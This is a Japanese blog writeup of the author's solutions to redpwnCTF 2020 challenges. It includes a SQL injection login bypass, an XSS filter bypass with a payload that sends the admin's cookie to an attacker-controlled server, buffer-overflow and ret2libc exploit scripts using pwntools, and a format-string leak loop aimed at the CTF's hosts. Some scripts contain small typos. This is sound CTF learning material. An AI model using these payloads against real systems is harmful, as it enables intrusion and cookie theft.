きなこもち。

(´・ω・`)

redpwnCTF 2020に参戦しました【生存報告】

前書き

redpwnCTF 2020に個人で出場し、welcome系の1ptの問題を除いてMisc1問、Crypto1問、Web3問、Pwn5問解きました。

f:id:kinako_mochimochi:20200703221207p:plain
チーム名は適当です

生存報告も兼ねてwriteup残しておきます。

Web

inspector-general

いわゆるinspector系。インスペクタを起動してソースを見たら答えがあるやつ。 metaタグ内にflagが書いてある。

flag{1nspector_g3n3ral_at_w0rk}

login

        result = db.prepare(`SELECT * FROM users 
            WHERE username = '${username}'
            AND password = '${password}';`).get();

ソースのここら辺を見ると、SQLiができそう。 passwordの方に' or 1=1 -- -を送り込んでやるとログインが成功しflagが出る。

flag{0bl1g4t0ry_5ql1}

static-pastebin

典型的なXSS問。テキストを保存できる系のWebアプリで、問題があればadminに報告して見に来てくれるらしい。 CREATEボタンを押した後に遷移するページにXSSのフィルターが書かれたscript.jsがあるので読んでみる。

(async () => {
    await new Promise((resolve) => {
        window.addEventListener('load', resolve);
    });

    const content = window.location.hash.substring(1);
    display(atob(content));
})();

function display(input) {
    document.getElementById('paste').innerHTML = clean(input);
}

function clean(input) {
    let brackets = 0;
    let result = '';
    for (let i = 0; i < input.length; i++) {
        const current = input.charAt(i);
        if (current == '<') {
            brackets ++;
        }
        if (brackets == 0) {
            result += current;
        }
        if (current == '>') {
            brackets --;
        }
    }
    return result
}

フィルターはclean関数。clean関数を経た文字列をinnerHTMLで要素にして表示している。 フィルターを読むと、一文字一文字チェックしていき、<があれば変数bracketsの値をインクリメントし、>があればデクリメントする。 bracketsの値が0のときのみ文字列を変数resultに格納する。 つまり、などのタグは<が検知されscriptの部分は表示されない。

簡単に実例すると以下の通り。 <scirpt>alert(1)</script> → alert(1)

このフィルターをバイパスするには、コメントアウトを使う。

<
// >>
<img src=x onerror=alert(1) >

< //>>の部分でbracketsの値を-1にしておき、<img src=x onerror=alert(1)>の部分を読み込む際、冒頭の<を検知したときのbracketsの値は0になり、XSSペイロードが実行される。

f:id:kinako_mochimochi:20200703234654p:plain あとは<img src=x onerror="document.location='https://<IP>/?c='+document.cookie" > なんかで自前のサーバにadminを誘導してcookieを取ればOK.

※他のwriteup見たら><img src=x...でやってた。そっちの方がスマート...(全く思いつかなかった)

  • Web問はpandas-fact以降は全くわかりませんでした☆(ゝω・)v

Pwn

coffer-overflow-0

Can you fill up the coffers? We even managed to find the source for you.

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code != 0) {
    system("/bin/sh");
  }
}

gets関数にBOF脆弱性。かつローカル変数のcodeが0以外の値であればsystem関数でシェルを起動してくれる。 Aを大量に流せば勝手に変数codeが0x41になってくれるので解説省略。

f:id:kinako_mochimochi:20200703223637p:plain flag{b0ffer_0verf10w_3asy_as_123}

coffer-overflow-1

The coffers keep getting stronger! You'll need to use the source, Luke.

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code == 0xcafebabe) {
    system("/bin/sh");
  }
}

さっきとは違い、変数codeが0xcafebabeだった場合シェルが起動するようになっている。 これはBOFでcodeを上手く書き換える必要がある。

gets関数直後のアドレス0x4006e7にブレークポイントを張り、gets関数で文字列を読み込んだ後のスタックの状況をみるとこんな感じ。

f:id:kinako_mochimochi:20200703224719p:plain

0x7fffffffdca8にある0x0がローカル変数であるcodeだと仮定すると、codeまでのは24バイト。 つまり、"A" * 24 + "\xbe\xba\xfe\xca\x00\x00\x00\x00"を送ってやればcodeは0xcafebabeになる。 (64bitバイナリのリトルエンディアンなので)

python2のワンライナーだと (python2 -c "print 'A' * 24 + 'xbe\xba\xfe\xca\x00\x00\x00\x00'");cat | nc 2020.redpwnc.tf 31255 でシェル起動。

pwntoolsなら

# python3
from pwn import *

r = remote("2020.redpwnc.tf", 31255)

payload = b"A" * 24
payload += p64(0xcafebabe)

r.sendline(payload)
r.interactive()

flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}

coffer-overflow-2

You'll have to jump to a function now!?

int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}

今度はソースコードで定義されているが呼び出されていない関数をBOFを利用して呼ぶパターン。

gdb-pedaでリターンアドレスまでは24バイトと判明するので、後は飛ばすだけ。 binFunction関数のアドレスは0x4006e6。

ワンライナーだとこんな感じ。 (python2 -c "print 'A'*24 + '\xe6\x06\x40\x00\x00\x00\x00\x00'";cat) | nc 2020.redpwnc.tf 31908

pwntoolsを使うと

# python3
from pwn import *

r = remote("2020.redpwnc.tf", 31908)

addr = 0x4006e6

payload = b"A" * 24
payload += p64(addr)

r.sendline(payload)
r.interactive()

flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}

secret-flag

There's a super secret flag in printf that allows you to LEAK the data at an address??

前回と違ってソースコードの配布はなし。 問題サーバにアクセスすると以下のような感じに名前を聞かれて入力できる。フォーマットストリングバグがある(FSB)。 f:id:kinako_mochimochi:20200703230758p:plain

しかしchecksecをかけるとFull RELROなのでGOT overwriteはできない。 また、canaryが有効になっているためBOFもできない。

通常、この手の問題はスタックの中の文字列を読み出していくとflagの文字列が入ってる系だと思ったのだが、canaryに検知されるギリギリまで%pで読み出してもそれらしいものは見つからなかった。

そこで、スタックの中に入っているのはflagの文字列へのアドレスだとアタリをつけて読み出すことにした。

完成したのは以下のsolver。

# このsolverはkusuwadaさんのpicoCTFのwriteupから拝借しました

from pwn import *

for i in range(100):
    print("index: " + str(i))
    payload = b"%%%d$s" % i
    r = remote("2020.redpwnc.tf", 31826)
    r.recvuntil("adventurer?\n")
    r.sendline(payload)
    res = ""
    try:
        res = r.recv().decode()
    except:
        print("error")
    finally:
        r.close()
    if 'flag' in res:
        print(res)
        break

これを実行するとindex: 7でflagが出る。

flag{n0t_s0_s3cr3t_f1ag_n0w}

the-library

There's not a lot of useful functions in the binary itself. I wonder where you can get some...

#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to the library... What's your name?");

  read(0, name, 0x100);
  puts("Hello there: ");
  puts(name);
}

問題バイナリとlibc.so.6が配布される。 問題にはflagを出力する関数や、system関数といったものは見当たらない。

checksecの結果は以下の通り。 f:id:kinako_mochimochi:20200703232544p:plain 某writeupで "no canary + NX enabled + libc = libc leak"という方程式が載っていたので、そのままlibc leakだとアタリを付けます。

また、read関数の部分でBOFができるのでリターンアドレスまでのバイト数をgdb-pedaで調べると24バイトでした。

解説は気が向いたら書くのでお先にsolver('xωx')

from pwn import *

r = remote("2020.redpwnc.tf", 31350)
e = ELF("./the-library")
libc = ELF("./libc.so.6")

ret = 0x400506
pop_rdi = 0x400733

# round 1

payload = b"A" * 24
payload += p64(pop_rdi)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"]) 
payload += p64(e.symbols["main"]) # ret2main

r.recvuntil("your name?\n")
r.sendline(payload)
print(r.recvline())
print(r.recvline())

_ = r.recv(6)
puts = u64(_ + b"\x00\x00")
base = puts - libc.symbols["puts"]
log.info("Libc base: " + hex(base))

# round2
payload + b"A" * 24
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(base + next(libc.search(b"/bin/sh")))
payload += p64(base + libc.symbols["system"])

r.recvuntil("your name?\n")
r.sendline(payload)
r.interactive()

これを実行するとシェルが起動してそのままflag.txtを読めます

flag{jump_1nt0_th3_l1brary}

余談ですが、最初にこのコードを書いた時は途中にret命令を挟んでいなかったので、libcのベースアドレスはリークできているはずなのに、シェルが起動できず頭を抱えていました。

...が、5月に行われたSECCCON beginners CTFにて出題された、rsp?のアライメントを揃えるためにret命令を挟む問題が出題されたのを思い出し、ダメ元でretを挟むとシェルが起動して感動しました。 出題者さんには感謝感激ですね。

そして地味に初めて野良CTFでlibc leakの問題が解けました。 1月からコツコツ、長かった...('xωx')

  • Miscで解いたのはCaaSiNOですが、それは他のwriteupに譲ります(疲れた)
  • これ見て解きました

終わりに

Web問の成績がひどいですね。

そもそもWeb問のモチベがどんどん下がっていってるような気がする...(´・ω・`) (XSSの問題解いたの1年ぶりかも。。。)

Pwnはheap問に突入すべきか、やめるべきか迷ってます...('xωx') 最近はtryhackmeなんかでペンテストの勉強も始めたので、CTF熱が...